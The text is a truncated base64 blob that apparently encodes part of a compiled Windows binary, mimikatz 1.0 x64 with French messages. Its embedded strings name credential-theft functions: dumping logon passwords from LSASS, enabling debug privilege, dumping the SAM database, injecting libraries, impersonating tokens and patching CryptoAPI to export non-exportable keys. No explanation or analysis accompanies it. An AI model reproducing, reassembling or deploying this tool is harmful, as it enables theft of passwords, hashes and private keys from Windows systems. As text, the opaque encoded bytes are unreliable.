AQAAABgnAIABAAAA2CcAgAEAAAD4LgCAAQAAAKgwAIABAAAAFHsCgAEAAADQJgCAAQAAAJgoAIABAAAAkAsGgAEAAACMMgCAAQAAAAAAAACIAAAAAAAAAAAAAAAgCAaAAQAAAGQQAYABAAAAHEAAgAEAAAA0PgCAAQAAADg8AIABAAAAiDsAgAEAAADYOgCAAQAAACg6AIABAAAAeDkAgAEAAAA4NwCAAQAAAKAHBoABAAAAHFMAgAEAAAB0UgCAAQAAAHxSAIABAAAA/JgCgAEAAACEUgCAAQAAANBSAIABAAAAcgBzAGEAZQBuAGgAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBUAFIATwBOAEcAXwBQAFIATwBWAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBpAGcAbgBhAHQAdQByAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBFAE4ASABfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABEAEgAIABTAEMAaABhAG4AbgBlAGwAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARABFAEYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARQBOAEgA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bgBjAHQAaQBvAG4AVABhAGIAbABlAFMAdAByAGUAYQBtAAAASABhAG4AZABsAGUARABhAHQAYQBTAHQAcgBlAGEAbQAAAAAAAAAAAEMAbwBtAG0AZQBuAHQAUwB0AHIAZQBhAG0AVwAAAAAAQwBvAG0AbQBlAG4AdABTAHQAcgBlAGEAbQBBAAAAAABNAGUAbQBvAHIAeQA2ADQATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAVABoAHIAZQBhAGQARQB4AEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AAAAAAAAAAABFAHgAYwBlAHAAdABpAG8AbgBTAHQAcgBlAGEAbQAAAE0AZQBtAG8AcgB5AEwAaQBzAHQAUwB0AHIAZQBhAG0AAAAAAAAAAABNAG8AZAB1AGwAZQBMAGkAcwB0AFMAdAByAGUAYQBtAAAAAAAAAAAAVABoAHIAZQBhAGQATABpAHMAdABTAHQAcgBlAGEAbQAAAAAAAAAAAFIAZQBzAGUAcgB2AGUAZABTAHQAcgBlAGEAbQAxAAAAUgBlAHMAZQByAHYAZQBkAFMAdAByAGUAYQBtADAAAABVAG4AdQBzAGUAZABTAHQAcgBlAGEAbQAAAAAAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAASQBnAG4AbwByAGUASQBuAGEAYwBjAGUAcwBzAGkAYgBsAGUATQBlAG0AbwByAHkAAAAAAAAAAAAAAAAAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAFAAcgBpAHYAYQB0AGUAVwByAGkAdABlAEMAbwBwAHkATQBlAG0AbwByAHkAAAAAAE0AaQBuAGkARAB1AG0AcABXAGkAdABoAEYAdQBsAGwAQQB1AHgAaQBsAGkAYQByAHkAUwB0AGEAdABlAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABvAHUAdABBAHUAeABpAGwAaQBhAHIAeQBTAHQAYQB0AGUAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAQwBvAGQAZQBTAGUAZwBzAAAAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAVABoAHIAZQBhAGQASQBuAGYAbwAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgARgB1AGwAbABNAGUAbQBvAHIAeQBJAG4AZgBvAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABvAHUAdABPAHAAdABpAG8AbgBhAGwARABhAHQAYQAAAAAAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAGkAdgBhAHQAZQBSAGUAYQBkAFcAcgBpAHQAZQBNAGUAbQBvAHIAeQAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgAUAByAG8AYwBlAHMAcwBUAGgAcgBlAGEAZABEAGEAdABhAAAAAAAAAE0AaQBuAGkARAB1AG0AcABGAGkAbAB0AGUAcgBNAG8AZAB1AGwAZQBQAGEAdABoAHMAAAAAAAAATQBpAG4AaQBEAHUAbQBwAFcAaQB0AGgASQBuAGQAaQByAGUAYwB0AGwAeQBSAGUAZgBlAHIAZQBuAGMAZQBkAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABVAG4AbABvAGEAZABlAGQATQBvAGQAdQBsAGUAcwAAAE0AaQBuAGkARAB1AG0AcABTAGMAYQBuAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAARgBpAGwAdABlAHIATQBlAG0AbwByAHkAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABIAGEAbgBkAGwAZQBEAGEAdABhAAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABGAHUAbABsAE0AZQBtAG8AcgB5AAAAAABNAGkAbgBpAEQAdQBtAHAAVwBpAHQAaABEAGEAdABhAFMAZQBnAHMAAAAAAAAAAABNAGkAbgBpAEQAdQBtAHAATgBvAHIAbQBhAGwAAAAAAFMAZQByAHYAaQBjAGUAIAA6ACAAAAAAACkAIAA7ACAAbgAnAGEAIABwAGEAcwAgAGwAJwBhAGkAcgAgAHQAcgDoAHMAIABhAGMAdABpAGYAAAAAACAAKAAAAAAAAAAAAEwAZQAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAAAAIAA7ACAAAAAAAAAA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AAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZABlAHMAIABoAGEAbgBkAGwAZQBzAAAAAAAAAAAAaABhAG4AZABsAGUAAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAdABvAGsAZQBuAHMAIABkACcAYQBjAGMA6ABzAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAAAAAAAAAAAB3AGkAbgBtAGkAbgBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAIAA3AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABBAG4AdABpAC0AZwBwAG8AIABlAHQAIABwAGEAdABjAGgAcwAgAGQAaQB2AGUAcgBzAAAAAAAAAG4AbwBnAHAAbwAAAAAAAABEAHUAbQBwACAAZABlACAAUwBBAE0AAABzAGEAbQBkAHUAbQBwAAAASQBuAGoAZQBjAHQAZQB1AHIAIABkAGUAIABsAGkAYgByAGEAaQByAGkAZQBzAAAAaQBuAGoAZQBjAHQAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByAAAAdABzAAAAAABGAG8AbgBjAHQAaQBvAG4AcwAgAGQAaQB2AGUAcgBzAGUAcwAgAG4AJwBhAHkAYQBuAHQAIABwAGEAcwAgAGUAbgBjAG8AcgBlACAAYQBzAHMAZQB6ACAAZABlACAAYwBvAHIAcABzACAAcABvAHUAcgAgAGEAdgBvAGkAcgAgAGwAZQB1AHIAcwAgAHAAcgBvAHAAcgBlAHMAIABtAG8AZAB1AGwAZQAAAAAAAAAAAGQAaQB2AGUAcgBzAAAAAABEAHUAbQBwACAAZABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAHAAYQByACAAcAByAG8AdgBpAGQAZQByAHMAIABMAFMAQQBTAFMAAABzAGUAawB1AHIAbABzAGEAAAAAAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgBzACAARQBGAFMAAAAAAAAAZQBmAHMAAABtAGkAbQBpAGsAYQB0AHoA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bgBnAHQAaAAAAAAAAAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAAAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwB2AGkAZABlAHIAcwAgAGkAbgBzAHQAYQBsAGwA6QBzACkAAAAAAGwAaQBzAHQAUAByAG8AdgBpAGQAZQByAHMAAAAAAAAATABpAHMAdABlACAAbABlAHMAIABtAGEAZwBhAHMAaQBuAHMAIABzAHkAcwB0AOgAbQBlAAAAAABsAGkAcwB0AFMAdABvAHIAZQBzAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAGMAZQByAHQAaQBmAGkAYwBhAHQAcwAAAAAAAABsAGkAcwB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIABjAG8AbgB0AGUAbgBlAHUAcgBzACAAZABlACAAYwBsAOkAcwAAAAAAAAAAAGwAaQBzAHQASwBlAHkAcwAAAAAAAAAAAEUAeABwAG8AcgB0AGUAIABsAGUAcwAgAGMAZQByAHQAaQBmAGkAYwBhAHQAcwAAAGUAeABwAG8AcgB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABFAHgAcABvAHIAdABlACAAbABlAHMAIABjAGwA6QBzAAAAAAAAAAAAZQB4AHAAbwByAHQASwBlAHkAcwAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAbABlACAAZwBlAHMAdABpAG8AbgBuAGEAaQByAGUAIABkAGUAIABjAGwA6QBzACAAcABvAHUAcgAgAGwAJwBlAHgAcABvAHIAdAAgAGQAZQAgAGMAbADpAHMAIABuAG8AbgAgAGUAeABwAG8AcgB0AGEAYgBsAGUAAAAAAAAAcABhAHQAYwBoAGMAbgBnAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAbABhACAAQwByAHkAcAB0AG8AQQBQAEkAIABjAG8AdQByAGEAbgB0AGUAIABwAG8AdQByACAAbAAnAGUAeABwAG8AcgB0ACAAZABlACAAYwBsAOkAcwAgAG4AbwBuACAAZQB4AHAAbwByAHQAYQBiAGwAZQAAAHAAYQB0AGMAaABjAGEAcABpAAAAAAAAAFAAcgBvAHYAaQBkAGUAcgBzACAAQwByAHkAcAB0AG8AQQBQAEkAIAA6AAAAAAAAAAAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAVgBlAGMAdABvAHIAUAByAG8AdgBpAGQAZQByAHMAIAA6ACAAAAAAAAAAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMATgBHACAAOgAAAG0AbwBkAF8AYwByAHkAcAB0AG8AbgBnADoAOgBnAGUAdABWAGUAYwB0AG8AcgBQAHIAbwB2AGkAZABlAHIAcwAgADoAIAAAAEUAbQBwAGwAYQBjAGUAbQBlAG4AdAAgADoAIAAnAAAAAAAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvADoAOgBnAGUAdABMAGkAcwB0AFMAeQBzAHQAZQBtAFMAdABvAHIAZQBzACAAOgAgAAAAAAAgAGkAbgB0AHIAbwB1AHYAYQBiAGwAZQAgACEAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIABkACcAYQByAGcAdQBtAGUAbgB0AHMALAAgAGEAdAB0AGUAbgBkAHUAIAA6ACAAWwBtAGEAYwBoAGkAbgBlAF0AIABbAHAAcgBvAHYAaQBkAGUAcgAgAHAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAF0AAABtAGEAYwBoAGkAbgBlAAAAdQBzAGUAcgAAAAAAAAAAAF0AIABDAGwA6QBzACAAQwByAHkAcAB0AG8AQQBQAEkAIAA6AAAAAABbAAAAAAAAAAkAIAAtACAAAAAAAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAATwBVAEkAAABOAE8ATgAAAAkACQBFAHgAcABvAHIAdABhAGIAaQBsAGkAdADpACAAOgAgAAAAAAAJAAkAVABhAGkAbABsAGUAIABjAGwA6QAgACAAIAAgADoAIAAAAAAALgBwAHYAawAAAAAAAAAAAGMAYQBwAGkAXwAAAAAAAAAnACAAOgAgAAAAAAAAAAAACQAJAEUAeABwAG8AcgB0ACAAcAByAGkAdgDpACAAZABhAG4AcwAgACAAJwAAAAAAAAAAAAAAAAAJAAkACQBtAG8AZABfAGMAcgB5AHAAdABvAGEAcABpADoAOgBnAGUAdABQAHIAaQB2AGEAdABlAEsAZQB5AC8AUAByAGkAdgBhAHQAZQBLAGUAeQBCAGwAbwBiAFQAbwBQAFYASwAgADoAIAAAAAAACQAJACoAIABFAHIAcgBlAHUAcgAgAGQAZQAgAGMAbADpAC